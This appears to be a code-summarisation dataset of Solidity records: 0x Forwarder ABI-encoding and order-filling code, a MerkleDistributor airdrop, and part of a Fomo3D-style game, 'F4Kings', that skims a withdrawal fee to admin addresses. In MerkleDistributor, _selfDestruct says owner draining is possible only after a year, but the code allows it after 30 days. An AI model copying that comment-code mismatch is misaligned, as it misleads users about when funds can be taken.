// | Area | Offset | Length | Contents |
// | -------- |--------|---------|-------------------------------------------- |
// | Header | 0x00 | 4 | function selector |
// | Params | | 3 * 32 | function parameters: |
// | | 0x00 | | 1. offset to order (*) |
// | | 0x20 | | 2. takerAssetFillAmount |
// | | 0x40 | | 3. offset to signature (*) |
// | Data | | 12 * 32 | order: |
// | | 0x000 | | 1. senderAddress |
// | | 0x020 | | 2. makerAddress |
// | | 0x040 | | 3. takerAddress |
// | | 0x060 | | 4. feeRecipientAddress |
// | | 0x080 | | 5. makerAssetAmount |
// | | 0x0A0 | | 6. takerAssetAmount |
// | | 0x0C0 | | 7. makerFeeAmount |
// | | 0x0E0 | | 8. takerFeeAmount |
// | | 0x100 | | 9. expirationTimeSeconds |
// | | 0x120 | | 10. salt |
// | | 0x140 | | 11. Offset to makerAssetData (*) |
// | | 0x160 | | 12. Offset to takerAssetData (*) |
// | | 0x180 | 32 | makerAssetData Length |
// | | 0x1A0 | ** | makerAssetData Contents |
// | | 0x1C0 | 32 | takerAssetData Length |
// | | 0x1E0 | ** | takerAssetData Contents |
// | | 0x200 | 32 | signature Length |
// | | 0x220 | ** | signature Contents |
// * Offsets are calculated from the beginning of the current area: Header, Params, Data:
// An offset stored in the Params area is calculated from the beginning of the Params section.
// An offset stored in the Data area is calculated from the beginning of the Data section.
// ** The length of dynamic array contents are stored in the field immediately preceeding the contents.
// [1]: https://solidity.readthedocs.io/en/develop/abi-spec.html
assembly {
// Areas below may use the following variables:
// 1. <area>Start -- Start of this area in memory
// 2. <area>End -- End of this area in memory. This value may
// be precomputed (before writing contents),
// or it may be computed as contents are written.
// 3. <area>Offset -- Current offset into area. If an area's End
// is precomputed, this variable tracks the
// offsets of contents as they are written.
/////// Setup Header Area ///////
// Load free memory pointer
fillOrderCalldata := mload(0x40)
// bytes4(keccak256("fillOrder((address,address,address,address,uint256,uint256,uint256,uint256,uint256,uint256,bytes,bytes),uint256,bytes)"))
// = 0xb4be83d5
// Leave 0x20 bytes to store the length
mstore(add(fillOrderCalldata, 0x20), 0xb4be83d500000000000000000000000000000000000000000000000000000000)
let headerAreaEnd := add(fillOrderCalldata, 0x24)
/////// Setup Params Area ///////
// This area is preallocated and written to later.
// This is because we need to fill in offsets that have not yet been calculated.
let paramsAreaStart := headerAreaEnd
let paramsAreaEnd := add(paramsAreaStart, 0x60)
let paramsAreaOffset := paramsAreaStart
/////// Setup Data Area ///////
let dataAreaStart := paramsAreaEnd
let dataAreaEnd := dataAreaStart
// Offset from the source data we're reading from
let sourceOffset := order
// arrayLenBytes and arrayLenWords track the length of a dynamically-allocated bytes array.
let arrayLenBytes := 0
let arrayLenWords := 0
/////// Write order Struct ///////
// Write memory location of Order, relative to the start of the
// parameter list, then increment the paramsAreaOffset respectively.
mstore(paramsAreaOffset, sub(dataAreaEnd, paramsAreaStart))
paramsAreaOffset := add(paramsAreaOffset, 0x20)
// Write values for each field in the order
// It would be nice to use a loop, but we save on gas by writing
// the stores sequentially.
mstore(dataAreaEnd, mload(sourceOffset)) // makerAddress
mstore(add(dataAreaEnd, 0x20), mload(add(sourceOffset, 0x20))) // takerAddress
mstore(add(dataAreaEnd, 0x40), mload(add(sourceOffset, 0x40))) // feeRecipientAddress
mstore(add(dataAreaEnd, 0x60), mload(add(sourceOffset, 0x60))) // senderAddress
mstore(add(dataAreaEnd, 0x80), mload(add(sourceOffset, 0x80))) // makerAssetAmount
mstore(add(dataAreaEnd, 0xA0), mload(add(sourceOffset, 0xA0))) // takerAssetAmount
mstore(add(dataAreaEnd, 0xC0), mload(add(sourceOffset, 0xC0))) // makerFeeAmount
mstore(add(dataAreaEnd, 0xE0), mload(add(sourceOffset, 0xE0))) // takerFeeAmount
mstore(add(dataAreaEnd, 0x100), mload(add(sourceOffset, 0x100))) // expirationTimeSeconds
mstore(add(dataAreaEnd, 0x120), mload(add(sourceOffset, 0x120))) // salt
mstore(add(dataAreaEnd, 0x140), mload(add(sourceOffset, 0x140))) // Offset to makerAssetData
mstore(add(dataAreaEnd, 0x160), mload(add(sourceOffset, 0x160))) // Offset to takerAssetData
dataAreaEnd := add(dataAreaEnd, 0x180)
sourceOffset := add(sourceOffset, 0x180)
// Write offset to <order.makerAssetData>
mstore(add(dataAreaStart, mul(10, 0x20)), sub(dataAreaEnd, dataAreaStart))
// Calculate length of <order.makerAssetData>
sourceOffset := mload(add(order, 0x140)) // makerAssetData
arrayLenBytes := mload(sourceOffset)
sourceOffset := add(sourceOffset, 0x20)
arrayLenWords := div(add(arrayLenBytes, 0x1F), 0x20)
// Write length of <order.makerAssetData>
mstore(dataAreaEnd, arrayLenBytes)
dataAreaEnd := add(dataAreaEnd, 0x20)
// Write contents of <order.makerAssetData>
for {let i := 0} lt(i, arrayLenWords) {i := add(i, 1)} {
mstore(dataAreaEnd, mload(sourceOffset))
dataAreaEnd := add(dataAreaEnd, 0x20)
sourceOffset := add(sourceOffset, 0x20)
}
// Write offset to <order.takerAssetData>
mstore(add(dataAreaStart, mul(11, 0x20)), sub(dataAreaEnd, dataAreaStart))
// Calculate length of <order.takerAssetData>
sourceOffset := mload(add(order, 0x160)) // takerAssetData
arrayLenBytes := mload(sourceOffset)
sourceOffset := add(sourceOffset, 0x20)
arrayLenWords := div(add(arrayLenBytes, 0x1F), 0x20)
// Write length of <order.takerAssetData>
mstore(dataAreaEnd, arrayLenBytes)
dataAreaEnd := add(dataAreaEnd, 0x20)
// Write contents of <order.takerAssetData>
for {let i := 0} lt(i, arrayLenWords) {i := add(i, 1)} {
mstore(dataAreaEnd, mload(sourceOffset))
dataAreaEnd := add(dataAreaEnd, 0x20)
sourceOffset := add(sourceOffset, 0x20)
}
/////// Write takerAssetFillAmount ///////
mstore(paramsAreaOffset, takerAssetFillAmount)
paramsAreaOffset := add(paramsAreaOffset, 0x20)
/////// Write signature ///////
// Write offset to paramsArea
mstore(paramsAreaOffset, sub(dataAreaEnd, paramsAreaStart))
// Calculate length of signature
sourceOffset := signature
arrayLenBytes := mload(sourceOffset)
sourceOffset := add(sourceOffset, 0x20)
arrayLenWords := div(add(arrayLenBytes, 0x1F), 0x20)
// Write length of signature
mstore(dataAreaEnd, arrayLenBytes)
dataAreaEnd := add(dataAreaEnd, 0x20)
// Write contents of signature
for {let i := 0} lt(i, arrayLenWords) {i := add(i, 1)} {
mstore(dataAreaEnd, mload(sourceOffset))
dataAreaEnd := add(dataAreaEnd, 0x20)
sourceOffset := add(sourceOffset, 0x20)
}
// Set length of calldata
mstore(fillOrderCalldata, sub(dataAreaEnd, add(fillOrderCalldata, 0x20)))
// Increment free memory pointer
mstore(0x40, dataAreaEnd)
}
return fillOrderCalldata;
}
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MixinExchangeWrapper is
LibAbiEncoder,
LibFillResults,
LibMath,
LibConstants,
MExchangeWrapper
{
/// @dev Fills the input order.
/// Returns false if the transaction would otherwise revert.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function fillOrderNoThrow(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
internal
returns (FillResults memory fillResults)
{
// ABI encode calldata for `fillOrder`
bytes memory fillOrderCalldata = abiEncodeFillOrder(
order,
takerAssetFillAmount,
signature
);
address exchange = address(EXCHANGE);
// Call `fillOrder` and handle any exceptions gracefully
assembly {
let success := call(
gas, // forward all gas
exchange, // call address of Exchange contract
0, // transfer 0 wei
add(fillOrderCalldata, 32), // pointer to start of input (skip array length in first 32 bytes)
mload(fillOrderCalldata), // length of input
fillOrderCalldata, // write output over input
128 // output size is 128 bytes
)
if success {
mstore(fillResults, mload(fillOrderCalldata))
mstore(add(fillResults, 32), mload(add(fillOrderCalldata, 32)))
mstore(add(fillResults, 64), mload(add(fillOrderCalldata, 64)))
mstore(add(fillResults, 96), mload(add(fillOrderCalldata, 96)))
}
}
// fillResults values will be 0 by default if call was unsuccessful
return fillResults;
}
/// @dev Synchronously executes multiple calls of fillOrder until total amount of WETH has been sold by taker.
/// Returns false if the transaction would otherwise revert.
/// @param orders Array of order specifications.
/// @param wethSellAmount Desired amount of WETH to sell.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketSellWeth(
LibOrder.Order[] memory orders,
uint256 wethSellAmount,
bytes[] memory signatures
)
internal
returns (FillResults memory totalFillResults)
{
bytes memory makerAssetData = orders[0].makerAssetData;
bytes memory wethAssetData = WETH_ASSET_DATA;
uint256 ordersLength = orders.length;
for (uint256 i = 0; i != ordersLength; i++) {
// We assume that asset being bought by taker is the same for each order.
// We assume that asset being sold by taker is WETH for each order.
orders[i].makerAssetData = makerAssetData;
orders[i].takerAssetData = wethAssetData;
// Calculate the remaining amount of WETH to sell
uint256 remainingTakerAssetFillAmount = safeSub(wethSellAmount, totalFillResults.takerAssetFilledAmount);
// Attempt to sell the remaining amount of WETH
FillResults memory singleFillResults = fillOrderNoThrow(
orders[i],
remainingTakerAssetFillAmount,
signatures[i]
);
// Update amounts filled and fees paid by maker and taker
addFillResults(totalFillResults, singleFillResults);
// Stop execution if the entire amount of takerAsset has been sold
if (totalFillResults.takerAssetFilledAmount >= wethSellAmount) {
break;
}
}
return totalFillResults;
}
/// @dev Synchronously executes multiple fill orders in a single transaction until total amount is bought by taker.
/// Returns false if the transaction would otherwise revert.
/// The asset being sold by taker must always be WETH.
/// @param orders Array of order specifications.
/// @param makerAssetFillAmount Desired amount of makerAsset to buy.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketBuyExactAmountWithWeth(
LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures
)
internal
returns (FillResults memory totalFillResults)
{
bytes memory makerAssetData = orders[0].makerAssetData;
bytes memory wethAssetData = WETH_ASSET_DATA;
uint256 ordersLength = orders.length;
for (uint256 i = 0; i != ordersLength; i++) {
// We assume that asset being bought by taker is the same for each order.
// We assume that asset being sold by taker is WETH for each order.
orders[i].makerAssetData = makerAssetData;
orders[i].takerAssetData = wethAssetData;
// Calculate the remaining amount of makerAsset to buy
uint256 remainingMakerAssetFillAmount = safeSub(makerAssetFillAmount, totalFillResults.makerAssetFilledAmount);
// Convert the remaining amount of makerAsset to buy into remaining amount
// of takerAsset to sell, assuming entire amount can be sold in the current order.
// We round up because the exchange rate computed by fillOrder rounds in favor
// of the Maker. In this case we want to overestimate the amount of takerAsset.
uint256 remainingTakerAssetFillAmount = getPartialAmountCeil(
orders[i].takerAssetAmount,
orders[i].makerAssetAmount,
remainingMakerAssetFillAmount
);
// Attempt to sell the remaining amount of takerAsset
FillResults memory singleFillResults = fillOrderNoThrow(
orders[i],
remainingTakerAssetFillAmount,
signatures[i]
);
// Update amounts filled and fees paid by maker and taker
addFillResults(totalFillResults, singleFillResults);
// Stop execution if the entire amount of makerAsset has been bought
uint256 makerAssetFilledAmount = totalFillResults.makerAssetFilledAmount;
if (makerAssetFilledAmount >= makerAssetFillAmount) {
break;
}
}
require(
makerAssetFilledAmount >= makerAssetFillAmount,
"COMPLETE_FILL_FAILED"
);
return totalFillResults;
}
/// @dev Buys zrxBuyAmount of ZRX fee tokens, taking into account ZRX fees for each order. This will guarantee
/// that at least zrxBuyAmount of ZRX is purchased (sometimes slightly over due to rounding issues).
/// It is possible that a request to buy 200 ZRX will require purchasing 202 ZRX
/// as 2 ZRX is required to purchase the 200 ZRX fee tokens. This guarantees at least 200 ZRX for future purchases.
/// The asset being sold by taker must always be WETH.
/// @param orders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset.
/// @param zrxBuyAmount Desired amount of ZRX to buy.
/// @param signatures Proofs that orders have been created by makers.
/// @return totalFillResults Amounts filled and fees paid by maker and taker.
function marketBuyExactZrxWithWeth(
LibOrder.Order[] memory orders,
uint256 zrxBuyAmount,
bytes[] memory signatures
)
internal
returns (FillResults memory totalFillResults)
{
// Do nothing if zrxBuyAmount == 0
if (zrxBuyAmount == 0) {
return totalFillResults;
}
bytes memory zrxAssetData = ZRX_ASSET_DATA;
bytes memory wethAssetData = WETH_ASSET_DATA;
uint256 zrxPurchased = 0;
uint256 ordersLength = orders.length;
for (uint256 i = 0; i != ordersLength; i++) {
// All of these are ZRX/WETH, so we can drop the respective assetData from calldata.
orders[i].makerAssetData = zrxAssetData;
orders[i].takerAssetData = wethAssetData;
// Calculate the remaining amount of ZRX to buy.
uint256 remainingZrxBuyAmount = safeSub(zrxBuyAmount, zrxPurchased);
// Convert the remaining amount of ZRX to buy into remaining amount
// of WETH to sell, assuming entire amount can be sold in the current order.
// We round up because the exchange rate computed by fillOrder rounds in favor
// of the Maker. In this case we want to overestimate the amount of takerAsset.
uint256 remainingWethSellAmount = getPartialAmountCeil(
orders[i].takerAssetAmount,
safeSub(orders[i].makerAssetAmount, orders[i].takerFee), // our exchange rate after fees
remainingZrxBuyAmount
);
// Attempt to sell the remaining amount of WETH.
FillResults memory singleFillResult = fillOrderNoThrow(
orders[i],
remainingWethSellAmount,
signatures[i]
);
// Update amounts filled and fees paid by maker and taker.
addFillResults(totalFillResults, singleFillResult);
zrxPurchased = safeSub(totalFillResults.makerAssetFilledAmount, totalFillResults.takerFeePaid);
// Stop execution if the entire amount of ZRX has been bought.
if (zrxPurchased >= zrxBuyAmount) {
break;
}
}
require(
zrxPurchased >= zrxBuyAmount,
"COMPLETE_FILL_FAILED"
);
return totalFillResults;
}
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// solhint-disable no-empty-blocks
contract Forwarder is
LibConstants,
MixinWeth,
MixinAssets,
MixinExchangeWrapper,
MixinForwarderCore
{
constructor (
address _exchange,
bytes memory _zrxAssetData,
bytes memory _wethAssetData
)
public
LibConstants(
_exchange,
_zrxAssetData,
_wethAssetData
)
MixinForwarderCore()
{}
}
|
Converts message call's ETH value into WETH.
|
function convertEthToWeth()
internal
{
require(
msg.value > 0,
"INVALID_MSG_VALUE"
);
ETHER_TOKEN.deposit.value(msg.value)();
}
| 1,277,066 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.6;
import "./interfaces/IMerkleDistributor.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./Owned.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./Pausable.sol";
contract MerkleDistributor is Owned, Pausable, IMerkleDistributor {
address public immutable override token;
bytes32 public immutable override merkleRoot;
uint256 public startTime;
// This is a packed array of booleans.
mapping(uint256 => uint256) private claimedBitMap;
constructor(
address owner_,
address token_,
bytes32 merkleRoot_
) Owned(owner_) Pausable() {
token = token_;
merkleRoot = merkleRoot_;
startTime = block.timestamp;
}
function isClaimed(uint256 index) public view override returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] =
claimedBitMap[claimedWordIndex] |
(1 << claimedBitIndex);
}
function claim(
uint256 index,
address account,
uint256 amount,
bytes32[] calldata merkleProof
) external override {
require(!isClaimed(index), "MerkleDistributor: Drop already claimed.");
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
// Mark it claimed and send the token.
_setClaimed(index);
require(
IERC20(token).transfer(account, amount),
"MerkleDistributor: Transfer failed."
);
emit Claimed(index, account, amount);
}
function _selfDestruct(address payable beneficiary) external onlyOwner {
//only callable a year after end time
require(
block.timestamp > (startTime + 30 days),
"Contract can only be selfdestruct after a year"
);
IERC20(token).transfer(
beneficiary,
IERC20(token).balanceOf(address(this))
);
selfdestruct(beneficiary);
}
}
|
only callable a year after end time
|
function _selfDestruct(address payable beneficiary) external onlyOwner {
require(
block.timestamp > (startTime + 30 days),
"Contract can only be selfdestruct after a year"
);
IERC20(token).transfer(
beneficiary,
IERC20(token).balanceOf(address(this))
);
selfdestruct(beneficiary);
}
| 12,868,975 |
pragma solidity ^0.4.24;
contract F3Devents {
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
// fired at end of buy or reload
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
// fired whenever theres a withdraw
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
// fired whenever a withdraw forces end round to be ran
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d short only) fired whenever a player tries a buy after round timer
// hit zero, and causes end round to be ran.
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d short only) fired whenever a player tries a reload after round timer
// hit zero, and causes end round to be ran.
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever an affiliate is paid
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
// received pot swap deposit
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
//==============================================================================
// _ _ _ _|_ _ _ __|_ _ _ _|_ _ .
// (_(_)| | | | (_|(_ | _\(/_ | |_||_) .
//====================================|=========================================
contract modularShort is F3Devents {}
contract F4Kings is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xf626967fA13d841fd74D49dEe9bDd0D0dD6C4394);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
address private admin = msg.sender;
address private shareCom = 0x431C4354dB7f2b9aC1d9B2019e925C85C725DA5c;
string constant public name = "f4kings";
string constant public symbol = "f4kings";
uint256 private rndExtra_ = 0; // length of the very first ICO
uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 24 hours; // round timer starts at this
uint256 constant private rndInc_ = 20 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 24 hours; // max length a round timer can be
uint256 constant private rndLimit_ = 3; // limit rnd eth purchase
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(22,0); //48% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(32,0); //38% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(52,0); //18% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(42,0); //28% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot
// how to split up the final pot based on which team was picked
// (F3D)
potSplit_[0] = F3Ddatasets.PotSplit(42,0); //48% to winner, 0% to next round, 10% to com
potSplit_[1] = F3Ddatasets.PotSplit(34,0); //48% to winner, 8% to next round, 10% to com
potSplit_[2] = F3Ddatasets.PotSplit(18,0); //48% to winner, 24% to next round, 10% to com
potSplit_[3] = F3Ddatasets.PotSplit(26,0); //48% to winner, 16% to next round, 10% to com
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
uint256 _withdrawFee;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
{
//10% trade tax
_withdrawFee = _eth / 10;
uint256 _p1 = _withdrawFee.mul(65) / 100;
uint256 _p2 = _withdrawFee.mul(35) / 100;
shareCom.transfer(_p1);
admin.transfer(_p2);
plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee));
}
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
